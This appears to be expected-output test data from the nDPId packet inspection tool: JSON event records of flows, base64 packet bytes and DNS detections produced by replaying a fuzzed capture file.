+00511{"flow_event_id":7,"flow_event_name":"not-detected","thread_id":0,"packet_id":512,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":192,"flow_packet_id":1,"flow_first_seen":1120470781608,"flow_last_seen":0,"flow_tot_l4_data_len":58,"flow_min_l4_data_len":58,"flow_max_l4_data_len":58,"flow_avg_l4_data_len":58,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.170.170","dst_ip":"170.170.170.170","src_port":43690,"dst_port":43690,"l4_proto":"udp","ndpi": {"proto":"Unknown","breed":"Unrated"}} +00497{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":512,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":192,"flow_packet_id":1,"flow_first_seen":1120470781608,"flow_last_seen":0,"flow_tot_l4_data_len":58,"flow_min_l4_data_len":58,"flow_max_l4_data_len":58,"flow_avg_l4_data_len":58,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.170.170","dst_ip":"170.170.170.170","src_port":43690,"dst_port":43690,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00498{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":512,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":114,"flow_packet_id":2,"flow_first_seen":1120470175647,"flow_last_seen":1120470179653,"flow_tot_l4_data_len":104,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2758,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00486{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":512,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":193,"flow_packet_id":1,"flow_first_seen":1120470788806,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.129","src_port":2796,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00467{"flow_id":193,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":512,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470788,"pkt_ts_usec":806482,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"ADBUADRWAODtAW69CABFAABIa6AAAIARS7HAqAECwKgBgQrsADUANNbHUxEBAAABAACqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqo="} +00484{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":513,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":194,"flow_packet_id":1,"flow_first_seen":1120470796801,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2797,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00464{"flow_id":194,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":513,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470796,"pkt_ts_usec":801135,"pkt_caplen":82,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":82,"pkt_l4_len":48,"pkt":"ADBUADRWAODtAW69CABFAABEa6EAAIARS7TAqAECwKgBAQrtADUAMFm\/yxIAAAABAAAAQAAAATEBMAEwAzEyNwdpbi1hZGRyBGFycFwAAAwAAQ=="} +00654{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":513,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":194,"flow_packet_id":1,"flow_first_seen":1120470796801,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2797,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"1.0.0.127.in-addr.arp_","num_queries":0,"num_answers":0,"reply_code":0,"query_type":12,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00493{"flow_id":194,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":514,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470796,"pkt_ts_usec":802602,"pkt_caplen":105,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":105,"pkt_l4_len":71,"pkt":"AODtAW69ADBUADRWCABFiQBbAABAAEARtz7AqAEBwKgBAgA1Cu0ARzw7yxKAAAABAAEAAAAAATEBMAEwAzEyNwdpbi1hZGRyBGFycGEAAAwAAcAMAAwAAQAAJxAACwlsb2NhbGhvc3QA"} +00676{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":514,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":194,"flow_packet_id":2,"flow_first_seen":1120470796801,"flow_last_seen":1120470796802,"flow_tot_l4_data_len":119,"flow_min_l4_data_len":48,"flow_max_l4_data_len":71,"flow_avg_l4_data_len":59,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2797,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"1.0.0.127.in-addr.arpa","num_queries":1,"num_answers":1,"reply_code":0,"query_type":12,"rsp_type":12,"rsp_addr":"0.0.0.0"}} +00993{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":515,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470796,"pkt_ts_usec":804243,"pkt_caplen":508,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":508,"pkt_l4_len":0,"pkt":"ADBUADRWAODtAW69CABFAKqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqg=="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":515,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","l4_data_len":474} +00427{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":517,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470797,"pkt_ts_usec":172479,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":86,"pkt_l4_len":0,"pkt":"ADBUADRWAODtAW69CABFAACBa6MAAIARSyVzAAECwKgBAQruADUANPLDNxMBAAABAAAAAAAABF9zaXAEX3VkcANzaXB0Y3liZXJjaXR5AmRrAAAhAAE="} +00186{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":517,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","l4_data_len":52} +00484{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":518,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":195,"flow_packet_id":1,"flow_first_seen":1120470798172,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2798,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00467{"flow_id":195,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":518,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470798,"pkt_ts_usec":172728,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"ADBUABRUAODtAW69CABFAABIa6QAAIARS63AqAECwKgBAQruADUANPLDNxMBAAABAAAAAAAABF9zaXAEX3VkcANzaXAJY3liZXJjaXR5AmRrAAAhAAE="} +00658{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":518,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":195,"flow_packet_id":1,"flow_first_seen":1120470798172,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2798,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"_sip._udp.sip.cybercity.dk","num_queries":0,"num_answers":0,"reply_code":0,"query_type":33,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00660{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":519,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":193,"flow_packet_id":1,"flow_first_seen":1120470788806,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.129","src_port":2796,"dst_port":53,"l4_proto":"udp","ndpi": {"flow_risk": {"17":"Malformed packet"},"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"num_queries":0,"num_answers":0,"reply_code":0,"query_type":0,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00487{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":519,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":193,"flow_packet_id":1,"flow_first_seen":1120470788806,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.129","src_port":2796,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00485{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":519,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":195,"flow_packet_id":1,"flow_first_seen":1120470798172,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2798,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00484{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":519,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":196,"flow_packet_id":1,"flow_first_seen":1120470800175,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2798,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00467{"flow_id":196,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":519,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470800,"pkt_ts_usec":175618,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"ADBUADRWAODtAW69CABFAABIa6UAAIARS6zAqAECwKgBAQruADUANPLDNxMBAAABAAAAAAAABF9zaXAEX3VkcANzaXAJY3liZXJjaXR5AmRrAAAhAAE="} +00658{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":519,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":196,"flow_packet_id":1,"flow_first_seen":1120470800175,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2798,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"_sip._udp.sip.cybercity.dk","num_queries":0,"num_answers":0,"reply_code":0,"query_type":33,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00427{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":520,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470802,"pkt_ts_usec":178510,"pkt_caplen":86,"pkt_type":2167,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":86,"pkt_l4_len":0,"pkt":"ADBUADRWAODtAW69CHdFAABIa6YAAIARS6vAqAECwKgBAQruADUANPLDNxMBAAABAAAAAAAABF9zaXAEXyVzAANzaXAJY3liZXJjaXR5AmRrAAAhAAE="} +00171{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":520,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","type":2167} +00467{"flow_id":196,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":521,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470806,"pkt_ts_usec":184239,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"ADBUADRWAODtAW69CABFAABIa6cAAIARS6rAqAECwKgBAQruADUANPLDNxMBAAABAAAAAAAABF9zaXAEX3VkcANzaXAJY3liZXJjaXR5AmRrAAAhAAE="} +00498{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":522,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":118,"flow_packet_id":2,"flow_first_seen":1120470202676,"flow_last_seen":1120470208684,"flow_tot_l4_data_len":104,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2760,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00484{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":522,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":197,"flow_packet_id":1,"flow_first_seen":1120470814186,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2799,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00463{"flow_id":197,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":522,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470814,"pkt_ts_usec":186350,"pkt_caplen":82,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":82,"pkt_l4_len":48,"pkt":"ADBUADRWAODtAW69CABFAABEa6gAAIARS63AqAECwKgBAQrvADXTMAi8HBQAAAABAAAAAAAAATEBMAEwAzEyNwdpbi1hZGRyBGFycGEAAAwAAQ=="} +00654{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":522,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":197,"flow_packet_id":1,"flow_first_seen":1120470814186,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2799,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"1.0.0.127.in-addr.arpa","num_queries":0,"num_answers":0,"reply_code":0,"query_type":12,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00486{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":523,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":198,"flow_packet_id":1,"flow_first_seen":1120470814187,"flow_last_seen":0,"flow_tot_l4_data_len":71,"flow_min_l4_data_len":71,"flow_max_l4_data_len":71,"flow_avg_l4_data_len":71,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.1","dst_ip":"192.168.119.2","src_port":53,"dst_port":2799,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00493{"flow_id":198,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":523,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470814,"pkt_ts_usec":187906,"pkt_caplen":105,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":105,"pkt_l4_len":71,"pkt":"AODtAW69ADBUADRWCABFAABbAABAAEARtz7AqAEBwKh3AgA1Cu8AR+s3HBSAAAABAAEAAAAAATEBMAEwAzEyNwdpbi1hZGRyBGFycGEAAAwAAcAMAAwAUAAAJxAACwlsb2NhbGhvc3QA"} +00656{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":523,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":198,"flow_packet_id":1,"flow_first_seen":1120470814187,"flow_last_seen":0,"flow_tot_l4_data_len":71,"flow_min_l4_data_len":71,"flow_max_l4_data_len":71,"flow_avg_l4_data_len":71,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.1","dst_ip":"192.168.119.2","src_port":53,"dst_port":2799,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"1.0.0.127.in-addr.arpa","num_queries":1,"num_answers":1,"reply_code":0,"query_type":0,"rsp_type":12,"rsp_addr":"0.0.0.0"}} +00484{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":525,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":199,"flow_packet_id":1,"flow_first_seen":1120470814334,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2800,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00468{"flow_id":199,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":525,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470814,"pkt_ts_usec":334275,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"ADBUADRWAODtAW69CABFAABIa6oAAIARS6fAqAECwKgBAQrwADUANDG\/+BUBAAABAAAAAAAABF9zxXAEX3VkcANzaXAJY3liZXJjaXR5AmRrAAAhAAE="} +00658{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":525,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":199,"flow_packet_id":1,"flow_first_seen":1120470814334,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2800,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"_s_p._udp.sip.cybercity.dk","num_queries":0,"num_answers":0,"reply_code":0,"query_type":33,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00468{"flow_id":199,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":528,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470815,"pkt_ts_usec":395587,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"ADBUADRWAODtAW69CABFAABIa6sAAIARS6bAqAECwKgBAQrwADUASDG\/+BUBAAABAAAAAAAABF9zaXAEX3VkcANzaXAJY3liZXJjaXR5AmRrAAAhAAE="} +00468{"flow_id":199,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":529,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470817,"pkt_ts_usec":390327,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"ADBUADRWAODtAW69CABFAABIa6wAAIARS6XAqAECwKgBAQrwADUANDG\/+BUBAAABAAAAAAAABF9zaXAEX3VkcANzaXAJY3liZXJjaXR5AmRrAAAhAAE="} +00484{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":530,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":200,"flow_packet_id":1,"flow_first_seen":1120470819393,"flow_last_seen":0,"flow_tot_l4_data_len":17,"flow_min_l4_data_len":17,"flow_max_l4_data_len":17,"flow_avg_l4_data_len":17,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2800,"dst_port":21,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00468{"flow_id":200,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":530,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470819,"pkt_ts_usec":393226,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":17,"pkt":"ADBUADRWAODtAW69CABFAAAlcwAAAIARS6TAqAECwKgBAQrwABUANDG\/+BUBAAABAAAAAAAABF9zaXAEX3VkcANzaXAJY3libXJjaXR5AmRrAAAhAAE="} +00428{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":531,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470823,"pkt_ts_usec":399176,"pkt_caplen":86,"pkt_type":9587,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":86,"pkt_l4_len":0,"pkt":"ADBUADRWAODtAW69JXMAAABIa64AAIARS6PAqAECwKgBAQrwADUANDG\/+BUBAAABAAAAAAAABF9zaXAEX3VkcANzaXAJY3liZXJjaXR5AmRrAAAhAAE="} +00171{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":531,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","type":9587} +00497{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":532,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":119,"flow_packet_id":2,"flow_first_seen":1120470216686,"flow_last_seen":1120470216688,"flow_tot_l4_data_len":88,"flow_min_l4_data_len":17,"flow_max_l4_data_len":71,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2761,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00498{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":532,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":120,"flow_packet_id":3,"flow_first_seen":1120470216783,"flow_last_seen":1120470219780,"flow_tot_l4_data_len":156,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2762,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00499{"flow_event_id":7,"flow_event_name":"not-detected","thread_id":0,"packet_id":532,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":200,"flow_packet_id":1,"flow_first_seen":1120470819393,"flow_last_seen":0,"flow_tot_l4_data_len":17,"flow_min_l4_data_len":17,"flow_max_l4_data_len":17,"flow_avg_l4_data_len":17,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2800,"dst_port":21,"l4_proto":"udp","ndpi": {"proto":"Unknown","breed":"Unrated"}} +00485{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":532,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":200,"flow_packet_id":1,"flow_first_seen":1120470819393,"flow_last_seen":0,"flow_tot_l4_data_len":17,"flow_min_l4_data_len":17,"flow_max_l4_data_len":17,"flow_avg_l4_data_len":17,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2800,"dst_port":21,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00487{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":532,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":198,"flow_packet_id":1,"flow_first_seen":1120470814187,"flow_last_seen":0,"flow_tot_l4_data_len":71,"flow_min_l4_data_len":71,"flow_max_l4_data_len":71,"flow_avg_l4_data_len":71,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.1","dst_ip":"192.168.119.2","src_port":53,"dst_port":2799,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00485{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":532,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":197,"flow_packet_id":1,"flow_first_seen":1120470814186,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2799,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00484{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":535,"source":"fuzz-2006-06-26-2594.pcap","alias":"nDPId-test","flow_id":201,"flow_packet_id":1,"flow_first_seen":1120470831400,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"192.168.1.1","src_port":2801,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} 